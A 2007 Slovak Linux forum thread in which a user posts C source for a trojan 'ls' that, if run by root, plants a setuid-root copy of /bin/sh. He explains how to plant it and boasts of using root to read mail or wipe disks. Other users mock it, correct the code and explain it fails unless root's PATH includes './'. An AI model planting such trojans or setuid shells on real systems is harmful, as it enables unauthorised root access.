Podte nieco hacknut...:-))))

Sekcia: Aplikácie & Desktop 22.07.2007 | 23:57
Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
Hello....co tak nieco hacknut????????
I love Linux and I hate Windows..:-)) ICQ: 465-752-783
    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:01
      Avatar uid0 Debian  Používateľ
      tusim sa idem naburat na svojho roota
      Debian. apt-get into it…
      • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:21
        Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
        to Ti v tom viem celkom dobre poradit..xixi
        I love Linux and I hate Windows..:-)) ICQ: 465-752-783
        • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:22
          Avatar uid0 Debian  Používateľ
          ty? cakal by som skor, ze ja, ale do toho...
          Debian. apt-get into it…
          • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:28
            Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
            no vies...ty ako uzivatel nemas pravo nikde zapisovat, len do svojho priecinku.....vsade potrebujes rootove povolenia....hold...tie nemas....ale rozmyslal si uz nad tym ako si potom mozes zmenit heslo???ved sa niekam musi zapisat...a tadial vedie cesta....ked si menis heslo mas prepozicane rootovske prava....len na ten dany zapis...a hold..co tak si ich prepoziciat nastalo...bez toho aby to on zistil...jednoduchy program v c++....ak chces hodim zdroj...a podrobny popis...
            I love Linux and I hate Windows..:-)) ICQ: 465-752-783
            • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:30
              Avatar uid0 Debian  Používateľ
              nedbam :)
              Debian. apt-get into it…
              • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:39
                Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
                /* Vytvor nasledujuci subor ls.c */

                void
                main(void)
                {
                seteuid(0); /* Bez toho by tento program mal len prava obycajneho usera. */
                setegid(0); /* 1. riadok meni vlastnika na roota, tento riadok skupinu. */
                /* Po tomto prikaze teda program moze vsetko ( ak ho spustil
                root ). */
                system("/bin/cp /bin/sh mismo"); /* (3) */
                system("/bin/chmod 6755 mismo"); /* (4) */
                system("/bin/rm -r ls"); /* (5) */
                system("/bin/ls"); /* (6) */
                }

                /*

                Tento zdrojak ( ak sa vola ls.c ) prekompiluj prikazom make ls a vznikne vykonatelny subor ls ( ak vznikol a.out, premenuj ho na ls ).

                Nesmies mat u seba subor s nazvom mismo ! Inak sa nemusi podarit jeho vytvorenie ( odskusane ).

                Ked teda root bude prezerat tvoj adresar a napise ls, spusti namiesto
                programu /bin/ls tento program ls samozrejme v tvojom podadresari a ten
                najprv skopiruje shell do suboru mismo, (3)
                potom mu zmeni atributy na prepozicanie prav, (4)
                potom sa sam zmaze (5)
                a potom spusti "pravy" prikaz /bin/ls (6).

                Odteraz ked napises mismo, budes mat prava roota. Mozes pridavat
                pouzivatelov, citat cudziu postu, alebo aj
                preformatovat disk ( moja najoblubenejsia cinnost ).

                Mimochodom - ls je nutne zmazat, inak by si sa hned odhalil
                ( v tom programe to robi bod (5) )

                ....bratu pochopil????
                I love Linux and I hate Windows..:-)) ICQ: 465-752-783
                • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:43
                  Avatar uid0 Debian  Používateľ
                  chlapce, ty si riadny n00b :D
                  Debian. apt-get into it…
                  • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:58
                    Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
                    ako robite si tu zo mna p..u alebo co???co je to N00b
                    I love Linux and I hate Windows..:-)) ICQ: 465-752-783
                    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:59
                      Avatar uid0 Debian  Používateľ
                      http://en.wikipedia.org/wiki/N00b
                      Debian. apt-get into it…
                  • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:39
                    Avatar NasaK Arch Linux  Používateľ
                    Pekne si ho zotrel.. ;)
                    Freedom for everyone! Use Free Software...
                    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:44
                      Avatar uid0 Debian  Používateľ
                      snad to nie je take tvrde, to som nechcel :)
                      Debian. apt-get into it…
                • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:43
                  Avatar uid0 Debian  Používateľ
                  FYI je to C, nie C++
                  Debian. apt-get into it…
                  • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:56
                    Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
                    normalne mi to bezi....

                    stanley@debian:~$ cd Desktop
                    stanley@debian:~/Desktop$ cd skripty
                    stanley@debian:~/Desktop/skripty$ ./mismo
                    mismo-3.1$

                    ...staci ako dokaz???
                    I love Linux and I hate Windows..:-)) ICQ: 465-752-783
                    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:57
                      Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
                      este by som podotkol, ze root...musi napisat vo vasom adresari prikaz ls a potom to cele prebehne...
                      I love Linux and I hate Windows..:-)) ICQ: 465-752-783
                    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:59
                      Avatar uid0 Debian  Používateľ
                      ROTFL. no comment.
                      Debian. apt-get into it…
                      • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:03
                        Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
                        what....???no co...pochvala nikde???:-)))))
                        I love Linux and I hate Windows..:-)) ICQ: 465-752-783
                        • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:09
                          Avatar uid0 Debian  Používateľ
                          ano, chvalim za dobre pobavenie :) ale ak to myslis vazne, tak mas co studovat (a zdroj z ktoreho to mas tam aj vysvetluje preco to nefungue, len si to docitaj :))
                          Debian. apt-get into it…
                • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:44
                  WlaSaTy   Návštevník
                  si jeden z najvecsich frajerov akych poznam. uz si to aj skusil?

                  mne to neslo ani skomplikovat, pisalo mi to nieco ako neexistuje Makefile.
                • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 20:35
                  Avatar zero0x Ubuntu momentalne  Používateľ
                  http://www.soom.cz/index.php?name=usertexts/show&aid=8
    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:23
      Avatar Erik Mocný arch  Používateľ
      a co tak nesekat formu a robit nieco uzitocne?
      • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:35
        Avatar karol Mandriva 2008.1  Používateľ
        keď už, tak niečo poriadne
        MOSSAD
        "Operátor pozorovania prítomnosti nekomutuje s operátorom reality.Nemôžeme teda popísať realitu okolo nás bez toho aby sme ju ovplyvnili." <br/>
        • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 00:38
          Avatar Milan Dvorský debian,mint kde,android  Administrátor
          nestacilo dnes vybrali.sme.sk ? ;-)
          tu je par slov o tom
          • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:14
            Avatar Erik Mocný arch  Používateľ
            no takze po 1. nechapem ako to chces skompilovat pomocou "make", kedze nemas vytvoreny Makefile :)... po 2.ked uz tak "gcc -o ls ls.c :)... po 3. neviem ako to ty kompilujes bez toho, aby si includol minimalne <stdio.h> :D a po 4. fkc. "main" nema ziadnu navratovu hodnotu :) toto vsjo asi odo mna... ako som uz pripomenul radsej neco uzitocnejsie robit ;)
            • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:16
              Avatar uid0 Debian  Používateľ
              kedze funkcia main je typu void...
              Debian. apt-get into it…
              • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:20
                Avatar Erik Mocný arch  Používateľ
                no spravne by fkc. main mala byt def. ako "int" cize "int main()". for details
                • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:26
                  Avatar uid0 Debian  Používateľ
                  to je pravda, ale funkcia main je proste typu void a preto nemoze mat navratovu hodnotu. toto jej nemozes vycitat :)
                  Debian. apt-get into it…
                  • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 01:27
                    Avatar Erik Mocný arch  Používateľ
                    no ano mas pravdu v tomto pripade nie ::) sry mea culpa :/
    • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 02:43
      Avatar Samuel BWPOW Kupka Almalinux, OpenWRT  Používateľ
      Takze, k tomu programiku od stanley666. Skompilovat pekne ide presne tak, ako napisal v prispevku. Prikaz make ls priklad skompiluje. Vid:
      [bwpow@ns ff]$ make ls
      cc     ls.c   -o ls
      ls.c: In function ‘main’:
      ls.c:3: warning: return type of ‘main’ is not ‘int’
      
      Ten void mi tam skoro vytrhol oci. Prosim, piste to poriadne :) Ako staremu C-ckarovi sa mi pri takychto veciach dviha zaludok.

      Posledna vec je fakt, ze toto nefunguje. Preco? Ked r00t napise prikaz "ls" v tom adresari, tak sa zial opat zavola prikaz /bin/ls. To by tam musel totiz napisat prikaz "./ls", co asi nikto nikdy nespravi. Nabuduce by to mohol mily uid0 rovno napisat a neposielat ludi do /dev/n00b. Vdaka a pekny zvysok dna.

      Inak, rozmyslal som, ze pridam do diskusie zdrojak 0-day remote root exploitu na najnovsi kernel (a vsetky starsie) a sluzbu openssh, ale kedze niektori v diskusii sa spravali tak ako sa spravali, tak si to radsej necham pre seba :)
      Strach dát najevo své pocity a zjednat si u druhých respekt je jedním z problémů civilizovaného člověka, který se naučil zpochybňovat svou vlastní pravdu pro zdání objektivity
      • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 03:01
        Avatar uid0 Debian  Používateľ
        lebo co? :D
        Debian. apt-get into it…
      • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 12:53
        Avatar stanley666 Mandriva 2010.2 (Free)  Používateľ
        no viem, ze tomu tazko uverit...ale mne to fakt fungovalo...
        I love Linux and I hate Windows..:-)) ICQ: 465-752-783
        • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 13:15
          WlaSaTy   Návštevník
          ak si sa stal root-om tak to súvisí so štandardnou konfiguráciou PAM pre prvého užívateľa ale tomu neverím. ale už sa teším ako niekto vyjde s tým 15lines hackom co prepísal getuid cez LD_PRELOAD.
        • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 13:26
          Avatar nardew debian  Používateľ
          a nemas nahodou pod rootom v premennej PATH na prvom mieste ./?:)
          • Re: Podte nieco hacknut...:-)))) 23.07.2007 | 13:57
            Avatar Samuel BWPOW Kupka Almalinux, OpenWRT  Používateľ
            To by ma potom dost zaujimal nazov tej distribucie :) Inak, na mnohych produkcnych strojoch su este dalsie prekazky ako:
            /dev/raid/home on /home type xfs (rw,noexec,nosuid,nodev)
            a podobne vsetky miesta, kam uzivatel ma pravo zapisovat. Takze bude treba vymysliet nieco ine.
            Strach dát najevo své pocity a zjednat si u druhých respekt je jedním z problémů civilizovaného člověka, který se naučil zpochybňovat svou vlastní pravdu pro zdání objektivity